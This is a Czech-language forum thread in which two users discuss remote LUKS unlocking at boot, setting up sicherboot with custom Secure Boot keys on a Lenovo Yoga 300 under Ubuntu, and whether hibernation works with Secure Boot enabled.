btw: pokud zvladas tu integraci do Grub, urcite dej vedet, hodilo by se mi moznost odemknout Grub s sifrovanym /boot vzdalene pres ssh zatim pouze chci zkusit serial z rpi, jen nevim zda Grub ve chvili kdy se pta na LUKS umi i ttyUSB nebo jen nativni serial...

[Josef Kufner]

Přijde mi jednodušší Grub vyhodit, nabootovat nějaký minimální systém z initrd a tam si pořešit vše potřebné. Nebo ještě lépe umístit klíče k systému do TPM, nechat to nabootovat celé a pak jen vzdáleně odemknout oddíl s uživatelskými daty. Tady je ale potřeba pořešit fyzické zabezpečení a ideálně s automatickou likvidací klíčů při neoprávněné manipulaci.

[k3dAR]

kdyz nabootuju initrd s dropbear, tak uz nemam siftovanej boot nebo mam init na nesifrovanem EFI oddilu a na stroji kde nemam SecureBoot nemuzu podepsat vlastnima klicema tento initrd, TPM v tom stroji sice je, ale nechci nechat startovat utocnikovi system i kdyz by byl vypplej autologin... navic s TPM pro ulozeni klicu sem experimentoval pred rokem a nedarilo se, vim ze tehdy nekdo na rootu resil nejake pomocne skripty a podarilo se mu to ale to sem uz nezkousel a ted si nevzpomenu kdo a kde :)

takze vyzkousim serial unlock grub-luks z rpi :)

btw: oprasil sem netbook Lenovo Yoga 300 kterej ma SecureBoot("akorat" nejdou klice nahravat pres BIOS primo), a misto Grub sem pouzil sicherboot, bylo to necekane za chvili zprovoznene, v *buntu staci(pro pripadne kolemjdouci):

# instalace
sudo apt install sicherboot

# pripadna uprava nastaveni, menil sem pouze CN aby misto MACHINE_ID tam bylo neco srozimetelneho, ale neni treba
sudo mcedit /etc/sicherboot/sicherboot.conf
# priprava cmdline (to je nutne, vychozi neni nic, minimalne aspon pridat prazdnej soubor)
sudo touch /etc/kernel/cmdline
# nebo dat bezne/rozumne parametry:
echo "splash quiet net.ifnames=0" | sudo tee /etc/kernel/cmdline

# vygenerovani klicu, nahrani klicu do EFI oddilu(pro pozdeji nahradni do BIOSu), instalace do EFI, "zabaleni+podepsani" (beziciho)jadra+init do EFI
# odpovidat na vse yes... (warningu "data remaining[XXXXX vs YYYYY]: gaps between PE/COFF sections?" netreba si vsimat
sudo sicherboot setup

pak v BIOSu (pokud to umoznuje) vymazat vse vychozi a nahrat z EFI/Keys pripravene PK, KEK a db, pokud neumoznuje primo nahrat, tak bude volba neco jako "Remove keys and switch do SetupMode" nasledne restart a sicherboot nahodi KeyTool v kterem lze rucne importovat KEK, db, PK(toto jako POSLEDNI, jinak mi to proslo ale v BIOSu se SecureBoot hlasil status stale jako disabled)...

po overeni, nastavit heslo pro vstup do BIOSu (aby nemohl utocnik zakazat SecureBoot (otazka zda to nezakaze rozebranim stroje a kdyz ne jumperem/baterkou tak reflashem bios chipu))

a NEzapomenout z EFI oddilu smazat adresar Keys (byl jen pro potreby nahrani do EFI, ted uz tam byt nesmi aby na nesifrovanem EFI si to nikdo nezkopiroval a nepodepsal tim svuj upravenej "zavadec"

od ted pri aktualizaci jadra (resp. minimalne pri (re/)generovani initramfs se bude samo regenerovat i "sicherboot" kernel+init+sign balicek do EFI oddilu...


bohuzel to ma cele 1 neprijemnost a to ze s aktivovanym SecureBoot NEFUNGUJE HIBERNACE, resp. je to nezavisle na sicherboot, nemuzu ted dohledat link na bugreport kterej sem nasel na te Yoga, kde od urciteho patch jadra pred par lety to bylo umyslne zakazane a zatim to NENI vyresene... udajne je to kvuli tomu ze uspanej image NElze zkontrolovat podpis, coz mi prijde ze by bylo lepsi moznost hibernace nechat a uzivatel by mel stale bezpecnej cistej start a hibernaci (z sifrovaneho SWAP) mel na vlastni triko, nez "nutit" uzivatele co chteji hibernaci (coz bych pocital ze jsou vsichni co to nemaji jen jako nahradu tabletu na surfovani) museli kompletne SecureBoot zakazovat...

[k3dAR]

+ zruseni aby se porad nestartoval nejdriv KeyTool, mozna to jde i jinak, ja to poresil jednoduse prejmenovanim jeho polozky, pridanim na konec nazvu .OFF, lze samozrejme i smazat, ale v pripade v budoucnu pouziti je snadnejsi to prejmenovat zpet:

sudo rename 's/$/.OFF/' /boot/efi/loader/entries/*-keytool.conf

[Josef Kufner]

A nebo prostě jen:

bootctl set-default $ID

[k3dAR]

asi jak kde

sudo bootctl set-default
Unknown operation set-default.

nicmene diky, nasmerovalo me to sem a NEni treba mazat(=tento prispevek timto rusim), ale staci po ukonceni KeyTool na polozce v menu zmacknout d (jako default), pro zobrazeni ostatnich klaves h (jako help)

[Josef Kufner]

Klíče v EFI můžeš nechat, jsou to jen veřejné půlky, které k podpisu útočníkova kernelu nestačí. Privátní klíče jsou v bezpečí v /etc/sicherboot/keys.

Hibernace se zapnutým Secure Bootem funguje. Tedy alespoň na Debianu a s plně šifrovaným diskem (defaultní LUKS+LVM a v tom oddíly pro swap a root). Zrovna jsem to vyzkoušel. Initrd se zeptalo na heslo, odemklo LUKS a normálně se to probudilo. Nějak nevidím, jak by to Secure Boot mohl rozbít. Ale je fakt, že při hibernaci na nešifrovaný swap Secure Boot trochu postrádá smysl.

[k3dAR]

klice-ok-dik_za_upozorneni

neslo mi ani uspani, ani pres "systemctl hibernate" kde to zobrazilo error hlasku, podle ktere sem dohledal bugzillu tusim redhatu kde v komentarich byl odkaz na patch kterej to jadru zakazoval, samozrejme ze sem to delal na sifrovanej swap, v Xubuntu 18.04.2-HWE, 1-EFI, 2-LUKS+LVM(boot root a swap)...

az dorazim domu k Yoga, tak ten odkaz poslu...

[k3dAR]

Bug 1467045 - Hibernate no longer works when Secure Boot is enabled a primo tam komentar s tim patchem kterej to zmenil

nicmene pokud ti to teda funguje s Debian, tak uz to mozne je vyresne, jakej Debian a jake verze jadra?

[Josef Kufner]

No jestli to chápu správně, tak někdo zakázal Secure Boot neboť si myslel, že při probuzení není jak ověřit pravost image s obsahem paměti, nebo není jak získat klíč k jeho dešifrování. Dávalo by to smysl (možná), pokud bychom chtěli, aby se uspaný stroj probudil z disku sám, bezpečně a bez interakce uživatele.

Pokud ale máme ten image na šifrovaném oddílu a initrd se ptá uživatele na heslo k němu, tak celý ten patch je ptákovina – prostě to funguje a nemusíme se ničeho obávat. Uspaný systém je stejně bezpečný jako vypnutý.

Debian to řeší právě tak, že to neřeší. Při probuzení bootuje stejně jako po čistém zapnutí. Po odemčení LUKS a zpřístupnění swapu se initrd podívá, zda je ve swapu image uspaného systému a pokud ano, tak ho probudí (viz /usr/share/initramfs-tools/scripts/local-premount/resume). Je to bezpečné a bezproblémové. Jen je potřeba při probouzení zadat heslo k LUKS stejně, jako při bootu (neboť to je stejné). Z pohledu Secure Bootu a EFI se stále stejně bootuje tatáž EFI binárka.

[k3dAR]

taky mi to nedavalo smysl, i kdyz nevim jestli to tak resi i redhat, *buntu to resi totozne jako pises... kazdopadne sem misto distribucniho 4.18 nahodil (ubuntu)mainline 5.2.2 a tam uz zadnej error, ale regulerne se hibernuje a po zapnuti se regulerne resumuje (s secure boot enabled), takze [SOLVED]
btw: sicherboot hook se pusti a vygeneruje linux.efi i pro takto rucne/lokalne instalovane jadro, takze netreba nic resit...